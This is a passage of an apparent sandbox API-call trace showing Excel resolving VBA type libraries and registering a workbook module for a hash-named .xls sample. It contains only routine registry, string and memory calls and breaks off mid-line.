_Dst=0x1f3120, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0074.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1f3120, cbMultiByte=7, lpWideCharStr=0x1f2f70, cchWideChar=7 | out: lpWideCharStr="stdole") returned 7 [0074.717] IUnknown:AddRef (This=0x679bb80) returned 0x3 [0074.717] ITypeLib:RemoteIsName (in: This=0x679bb80, szNameBuf="stdole", lHashVal=0x106093, pfName=0x1f3040, pBstrLibName=0x1f2f70 | out: pfName=0x1f3040*=0, pBstrLibName=0x1f2f70) returned 0x0 [0074.717] IUnknown:Release (This=0x679bb80) returned 0x2 [0074.717] IUnknown:AddRef (This=0x5a48620) returned 0x2 [0074.717] ITypeLib:RemoteIsName (in: This=0x5a48620, szNameBuf="stdole", lHashVal=0x106093, pfName=0x1f3040, pBstrLibName=0x1f2f70 | out: pfName=0x1f3040*=0, pBstrLibName=0x1f2f70) returned 0x0 [0074.717] IUnknown:Release (This=0x5a48620) returned 0x1 [0074.717] IMalloc:Alloc (This=0x7fefe465380, cb=0x208) returned 0x63244c0 [0074.718] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x1f2720 | out: phkResult=0x1f2720*=0xa9a) returned 0x0 [0074.718] RegOpenKeyW (in: hKey=0xa9a, lpSubKey="{00020430-0000-0000-C000-000000000046}", phkResult=0x1f2718 | out: phkResult=0x1f2718*=0xb9e) returned 0x0 [0074.718] RegEnumKeyW (in: hKey=0xb9e, dwIndex=0x0, lpName=0x1f2748, cchName=0xa | out: lpName="1.0") returned 0x0 [0074.719] RegEnumKeyW (in: hKey=0xb9e, dwIndex=0x1, lpName=0x1f2748, cchName=0xa | out: lpName="2.0") returned 0x0 [0074.719] wcscpy_s (in: _Destination=0x1f2730, _SizeInWords=0xa, _Source="2.0" | out: _Destination="2.0") returned 0x0 [0074.719] RegOpenKeyW (in: hKey=0xb9e, lpSubKey="2.0", phkResult=0x1f27d8 | out: phkResult=0x1f27d8*=0xbaa) returned 0x0 [0074.719] _ultoa_s (in: _Val=0x0, _DstBuf=0x1f2750, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0074.719] RegOpenKeyA (in: hKey=0xbaa, lpSubKey="0", phkResult=0x1f2740 | out: phkResult=0x1f2740*=0xb5e) returned 0x0 [0074.720] RegOpenKeyW (in: hKey=0xb5e, lpSubKey="win64", phkResult=0x1f2748 | out: phkResult=0x1f2748*=0xbae) returned 0x0 [0074.720] RegCloseKey (hKey=0xbae) returned 0x0 [0074.720] RegCloseKey (hKey=0xb5e) returned 0x0 [0074.720] _ultow_s (in: _Value=0x0, _Buffer=0x1f27e0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0074.720] RegOpenKeyW (in: hKey=0xbaa, lpSubKey="0", phkResult=0x1f27b8 | out: phkResult=0x1f27b8*=0xb5e) returned 0x0 [0074.721] RegQueryValueW (in: hKey=0xb5e, lpSubKey="win64", lpData=0x1f2800, lpcbData=0x1f27b4 | out: lpData="C:\\Windows\\system32\\stdole2.tlb", lpcbData=0x1f27b4) returned 0x0 [0074.721] wcscpy_s (in: _Destination=0x63244c0, _SizeInWords=0x104, _Source="C:\\Windows\\system32\\stdole2.tlb" | out: _Destination="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0074.721] RegCloseKey (hKey=0xb5e) returned 0x0 [0074.721] RegCloseKey (hKey=0xbaa) returned 0x0 [0074.722] RegCloseKey (hKey=0xb9e) returned 0x0 [0074.722] RegCloseKey (hKey=0xa9a) returned 0x0 [0074.722] IUnknown:QueryInterface (in: This=0x679c120, riid=0x7fee5f86290*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1f2c28 | out: ppvObject=0x1f2c28*=0x0) returned 0x80004002 [0074.722] ITypeLib:RemoteGetLibAttr (in: This=0x679c120, ppTLibAttr=0x1f2c20, pDummy=0x10 | out: ppTLibAttr=0x1f2c20, pDummy=0x10) returned 0x0 [0074.722] ITypeLib:RemoteGetDocumentation (in: This=0x679c120, index=-1, refPtrFlags=0x0, pbstrName=0x1f2c18, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb903c76 | out: pbstrName=0x1f2c18*="OLE Automation", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb903c76) returned 0x0 [0074.722] StringFromGUID2 (in: rguid=0x605e940*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x1f2c40, cchMax=39 | out: lpsz="{00020430-0000-0000-C000-000000000046}") returned 39 [0074.722] _ultow_s (in: _Value=0x2, _Buffer=0x1f2b8a, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0074.722] _ultow_s (in: _Value=0x0, _Buffer=0x1f2b8e, _BufferCount=0xe, _Radix=16 | out: _Buffer="0") returned 0x0 [0074.722] _ultow_s (in: _Value=0x0, _Buffer=0x1f2b92, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0074.722] wcscpy_s (in: _Destination=0xb903cf8, _SizeInWords=0x5f, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0074.722] wcscpy_s (in: _Destination=0xb903cfe, _SizeInWords=0x5c, _Source="{00020430-0000-0000-C000-000000000046}" | out: _Destination="{00020430-0000-0000-C000-000000000046}") returned 0x0 [0074.722] wcscpy_s (in: _Destination=0xb903d4a, _SizeInWords=0x36, _Source="#2.0#0#" | out: _Destination="#2.0#0#") returned 0x0 [0074.722] wcscpy_s (in: _Destination=0xb903d58, _SizeInWords=0x2f, _Source="C:\\Windows\\system32\\stdole2.tlb" | out: _Destination="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0074.722] wcscpy_s (in: _Destination=0xb903d98, _SizeInWords=0xf, _Source="OLE Automation" | out: _Destination="OLE Automation") returned 0x0 [0074.722] ITypeLib:LocalReleaseTLibAttr (This=0x679c120) returned 0x0 [0074.722] wcscpy_s (in: _Destination=0x60c7700, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0074.722] IMalloc:Free (This=0x7fefe465380, pv=0x63244c0) [0074.722] ITypeLib:RemoteIsName (in: This=0x679c120, szNameBuf="stdole", lHashVal=0x106093, pfName=0x1f3040, pBstrLibName=0x1f2f70 | out: pfName=0x1f3040*=0, pBstrLibName=0x1f2f70) returned 0x0 [0074.722] IUnknown:Release (This=0x679c120) returned 0x3 [0074.722] IMalloc:Alloc (This=0x7fefe465380, cb=0x24) returned 0xb73fdc0 [0074.722] IMalloc:Free (This=0x7fefe465380, pv=0xb8f1290) [0074.722] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0xb73fd60 [0074.722] IMalloc:Free (This=0x7fefe465380, pv=0xb73fdc0) [0074.723] IMalloc:Alloc (This=0x7fefe465380, cb=0x9a) returned 0x65f9020 [0074.723] IMalloc:Free (This=0x7fefe465380, pv=0x65f9020) [0074.723] IMalloc:Alloc (This=0x7fefe465380, cb=0x8c) returned 0x64e4b70 [0074.723] _ultow_s (in: _Value=0x2, _Buffer=0x1f329a, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0074.723] _ultow_s (in: _Value=0x8, _Buffer=0x1f329e, _BufferCount=0xe, _Radix=16 | out: _Buffer="8") returned 0x0 [0074.723] _ultow_s (in: _Value=0x0, _Buffer=0x1f32a2, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0074.723] wcscpy_s (in: _Destination=0x58a57b8, _SizeInWords=0x9b, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0074.723] wcscpy_s (in: _Destination=0x58a57be, _SizeInWords=0x98, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0 [0074.723] wcscpy_s (in: _Destination=0x58a580a, _SizeInWords=0x72, _Source="#2.8#0#" | out: _Destination="#2.8#0#") returned 0x0 [0074.723] wcscpy_s (in: _Destination=0x58a5818, _SizeInWords=0x6b, _Source="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" | out: _Destination="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 0x0 [0074.723] wcscpy_s (in: _Destination=0x58a58a4, _SizeInWords=0x25, _Source="Microsoft Office 14.0 Object Library" | out: _Destination="Microsoft Office 14.0 Object Library") returned 0x0 [0074.723] IMalloc:Free (This=0x7fefe465380, pv=0x64e4b70) [0074.733] wcscpy_s (in: _Destination=0x60c77c0, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0 [0074.733] wcsncpy_s (in: _Destination=0x1f3060, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0 [0074.733] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", cchLength=0x9a | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library") returned 0x9a [0074.733] IMalloc:Alloc (This=0x7fefe465380, cb=0x136) returned 0xb8edfb0 [0074.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library", cchWideChar=155, lpMultiByteStr=0xb8edfb0, cbMultiByte=310, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library", lpUsedDefaultChar=0x0) returned 155 [0074.733] IMalloc:Free (This=0x7fefe465380, pv=0xb8edfb0) [0074.734] wcscpy_s (in: _Destination=0x6621730, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0 [0074.734] wcsncpy_s (in: _Destination=0x1f30a0, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0 [0074.734] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", cchLength=0x9a | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library") returned 0x9a [0074.734] IMalloc:Alloc (This=0x7fefe465380, cb=0x136) returned 0xb8edfb0 [0074.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library", cchWideChar=155, lpMultiByteStr=0xb8edfb0, cbMultiByte=310, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library", lpUsedDefaultChar=0x0) returned 155 [0074.734] IMalloc:Free (This=0x7fefe465380, pv=0xb8edfb0) [0074.734] wcsncpy_s (in: _Destination=0x1f3060, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0x0 [0074.734] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", cchLength=0x61 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0x61 [0074.734] IMalloc:Alloc (This=0x7fefe465380, cb=0xc4) returned 0x6652610 [0074.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", cchWideChar=98, lpMultiByteStr=0x6652610, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", lpUsedDefaultChar=0x0) returned 98 [0074.734] IMalloc:Free (This=0x7fefe465380, pv=0x6652610) [0074.734] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _String2="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned -4 [0074.734] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0 [0074.734] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Office") returned 0x107515 [0074.734] strcpy_s (in: _Dst=0x1f3120, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0074.734] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1f3120, cbMultiByte=7, lpWideCharStr=0x1f2f70, cchWideChar=7 | out: lpWideCharStr="Office") returned 7 [0074.734] IUnknown:AddRef (This=0x679bb80) returned 0x3 [0074.734] ITypeLib:RemoteIsName (in: This=0x679bb80, szNameBuf="Office", lHashVal=0x107515, pfName=0x1f3040, pBstrLibName=0x1f2f70 | out: pfName=0x1f3040*=0, pBstrLibName=0x1f2f70) returned 0x0 [0074.734] IUnknown:Release (This=0x679bb80) returned 0x2 [0074.734] IUnknown:AddRef (This=0x5a48620) returned 0x2 [0074.734] ITypeLib:RemoteIsName (in: This=0x5a48620, szNameBuf="Office", lHashVal=0x107515, pfName=0x1f3040, pBstrLibName=0x1f2f70 | out: pfName=0x1f3040*=0, pBstrLibName=0x1f2f70) returned 0x0 [0074.734] IUnknown:Release (This=0x5a48620) returned 0x1 [0074.734] IUnknown:AddRef (This=0x679c120) returned 0x4 [0074.734] ITypeLib:RemoteIsName (in: This=0x679c120, szNameBuf="Office", lHashVal=0x107515, pfName=0x1f3040, pBstrLibName=0x1f2f70 | out: pfName=0x1f3040*=0, pBstrLibName=0x1f2f70) returned 0x0 [0074.734] IUnknown:Release (This=0x679c120) returned 0x3 [0074.734] IMalloc:Alloc (This=0x7fefe465380, cb=0x208) returned 0x63244c0 [0074.734] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x1f2720 | out: phkResult=0x1f2720*=0xa9a) returned 0x0 [0074.735] RegOpenKeyW (in: hKey=0xa9a, lpSubKey="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", phkResult=0x1f2718 | out: phkResult=0x1f2718*=0xbaa) returned 0x0 [0074.735] RegEnumKeyW (in: hKey=0xbaa, dwIndex=0x0, lpName=0x1f2748, cchName=0xa | out: lpName="2.6") returned 0x0 [0074.736] RegEnumKeyW (in: hKey=0xbaa, dwIndex=0x1, lpName=0x1f2748, cchName=0xa | out: lpName="2.7") returned 0x0 [0074.736] RegEnumKeyW (in: hKey=0xbaa, dwIndex=0x2, lpName=0x1f2748, cchName=0xa | out: lpName="2.8") returned 0x0 [0074.736] wcscpy_s (in: _Destination=0x1f2730, _SizeInWords=0xa, _Source="2.8" | out: _Destination="2.8") returned 0x0 [0074.736] RegOpenKeyW (in: hKey=0xbaa, lpSubKey="2.8", phkResult=0x1f27d8 | out: phkResult=0x1f27d8*=0xbae) returned 0x0 [0074.737] _ultoa_s (in: _Val=0x0, _DstBuf=0x1f2750, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0074.737] RegOpenKeyA (in: hKey=0xbae, lpSubKey="0", phkResult=0x1f2740 | out: phkResult=0x1f2740*=0xbb6) returned 0x0 [0074.737] RegOpenKeyW (in: hKey=0xbb6, lpSubKey="win64", phkResult=0x1f2748 | out: phkResult=0x1f2748*=0xbbe) returned 0x0 [0074.738] RegCloseKey (hKey=0xbbe) returned 0x0 [0074.738] RegCloseKey (hKey=0xbb6) returned 0x0 [0074.738] _ultow_s (in: _Value=0x0, _Buffer=0x1f27e0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0074.738] RegOpenKeyW (in: hKey=0xbae, lpSubKey="0", phkResult=0x1f27b8 | out: phkResult=0x1f27b8*=0xbb2) returned 0x0 [0074.738] RegQueryValueW (in: hKey=0xbb2, lpSubKey="win64", lpData=0x1f2800, lpcbData=0x1f27b4 | out: lpData="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", lpcbData=0x1f27b4) returned 0x0 [0074.739] wcscpy_s (in: _Destination=0x63244c0, _SizeInWords=0x104, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0074.739] RegCloseKey (hKey=0xbb2) returned 0x0 [0074.739] RegCloseKey (hKey=0xbae) returned 0x0 [0074.739] RegCloseKey (hKey=0xbaa) returned 0x0 [0074.740] RegCloseKey (hKey=0xa9a) returned 0x0 [0074.772] IUnknown:QueryInterface (in: This=0x679c6c0, riid=0x7fee5f86290*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1f2c28 | out: ppvObject=0x1f2c28*=0x0) returned 0x80004002 [0074.772] ITypeLib:RemoteGetLibAttr (in: This=0x679c6c0, ppTLibAttr=0x1f2c20, pDummy=0x10 | out: ppTLibAttr=0x1f2c20, pDummy=0x10) returned 0x0 [0074.772] ITypeLib:RemoteGetDocumentation (in: This=0x679c6c0, index=-1, refPtrFlags=0x0, pbstrName=0x1f2c18, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5ba3e36 | out: pbstrName=0x1f2c18*="Microsoft Office 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5ba3e36) returned 0x0 [0074.772] StringFromGUID2 (in: rguid=0x605e940*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52)), lpsz=0x1f2c40, cchMax=39 | out: lpsz="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 39 [0074.772] _ultow_s (in: _Value=0x2, _Buffer=0x1f2b8a, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0074.772] _ultow_s (in: _Value=0x8, _Buffer=0x1f2b8e, _BufferCount=0xe, _Radix=16 | out: _Buffer="8") returned 0x0 [0074.772] _ultow_s (in: _Value=0x0, _Buffer=0x1f2b92, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0074.772] wcscpy_s (in: _Destination=0x61003d8, _SizeInWords=0x95, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0074.772] wcscpy_s (in: _Destination=0x61003de, _SizeInWords=0x92, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0 [0074.772] wcscpy_s (in: _Destination=0x610042a, _SizeInWords=0x6c, _Source="#2.8#0#" | out: _Destination="#2.8#0#") returned 0x0 [0074.772] wcscpy_s (in: _Destination=0x6100438, _SizeInWords=0x65, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0074.772] wcscpy_s (in: _Destination=0x61004b8, _SizeInWords=0x25, _Source="Microsoft Office 16.0 Object Library" | out: _Destination="Microsoft Office 16.0 Object Library") returned 0x0 [0074.773] ITypeLib:LocalReleaseTLibAttr (This=0x679c6c0) returned 0x0 [0074.773] wcscpy_s (in: _Destination=0xb96a138, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0074.773] IMalloc:Free (This=0x7fefe465380, pv=0x63244c0) [0074.773] ITypeLib:RemoteIsName (in: This=0x679c6c0, szNameBuf="Office", lHashVal=0x107515, pfName=0x1f3040, pBstrLibName=0x1f2f70 | out: pfName=0x1f3040*=0, pBstrLibName=0x1f2f70) returned 0x0 [0074.773] IUnknown:Release (This=0x679c6c0) returned 0x1 [0074.773] IMalloc:Alloc (This=0x7fefe465380, cb=0x30) returned 0xb7bf9c0 [0074.773] IMalloc:Free (This=0x7fefe465380, pv=0x65c1490) [0074.773] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0xb73c310 [0074.773] IMalloc:Free (This=0x7fefe465380, pv=0xb7bf9c0) [0074.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x1f3180, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0074.774] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0074.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x1f32c0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0074.774] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0074.774] IMalloc:Alloc (This=0x7fefe465380, cb=0x80) returned 0xb996d70 [0074.774] IMalloc:GetSize (This=0x7fefe465380, pv=0xb996d70) returned 0x80 [0074.774] IMalloc:Alloc (This=0x7fefe465380, cb=0xb8) returned 0xb70a220 [0074.775] IMalloc:Alloc (This=0x7fefe465380, cb=0xb8) returned 0xb70a2e0 [0074.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x1f3180, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0074.775] CoCreateGuid (in: pguid=0x1f2eb0 | out: pguid=0x1f2eb0*(Data1=0x7b1a0d48, Data2=0xa1f, Data3=0x4e72, Data4=([0]=0xbe, [1]=0x3, [2]=0x90, [3]=0x77, [4]=0xf2, [5]=0xd2, [6]=0xf, [7]=0x7b))) returned 0x0 [0074.775] CoCreateGuid (in: pguid=0x1f2ec0 | out: pguid=0x1f2ec0*(Data1=0x4ca0688c, Data2=0x1e67, Data3=0x4a66, Data4=([0]=0xbc, [1]=0xf9, [2]=0xa0, [3]=0x56, [4]=0x51, [5]=0x46, [6]=0x9c, [7]=0x1b))) returned 0x0 [0074.775] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x1f2ed0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0074.775] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0074.775] GetLocalTime (in: lpSystemTime=0x1f2da8 | out: lpSystemTime=0x1f2da8*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x25, wMilliseconds=0x19d)) [0074.775] _ultow_s (in: _Value=0x5c6a74e9, _Buffer=0xb969eac, _BufferCount=0x9, _Radix=16 | out: _Buffer="5c6a74e9") returned 0x0 [0074.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="015c6a74e9", cchWideChar=11, lpMultiByteStr=0x1f2d40, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="015c6a74e9", lpUsedDefaultChar=0x0) returned 11 [0074.775] IMalloc:Alloc (This=0x7fefe465380, cb=0x170) returned 0xb8ec8f0 [0074.775] IMalloc:Alloc (This=0x7fefe465380, cb=0x50) returned 0x65c1490 [0074.775] strcpy_s (in: _Dst=0x6755750, _DstSize=0xd, _Src="ThisWorkbook" | out: _Dst="ThisWorkbook") returned 0x0 [0074.775] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0074.775] wcscpy_s (in: _Destination=0xb969ec0, _SizeInWords=0xd, _Source="ThisWorkbook" | out: _Destination="ThisWorkbook") returned 0x0 [0074.775] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0074.775] wcscpy_s (in: _Destination=0xb969ee0, _SizeInWords=0xd, _Source="ThisWorkbook" | out: _Destination="ThisWorkbook") returned 0x0 [0074.775] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0074.775] IMalloc:Alloc (This=0x7fefe465380, cb=0x3c) returned 0xb8f3540 [0074.775] IMalloc:Free (This=0x7fefe465380, pv=0x66efae0) [0074.776] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0xb73c310 [0074.776] IMalloc:Free (This=0x7fefe465380, pv=0xb8f3540) [0074.776] IMalloc:Alloc (This=0x7fefe465380, cb=0x3d0) returned 0x675d180 [0074.776] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0xb73c310 [0074.776] IMalloc:Alloc (This=0x7fefe465380, cb=0x10) returned 0xb7fb7c0 [0074.776] IMalloc:Alloc (This=0x7fefe465380, cb=0x80) returned 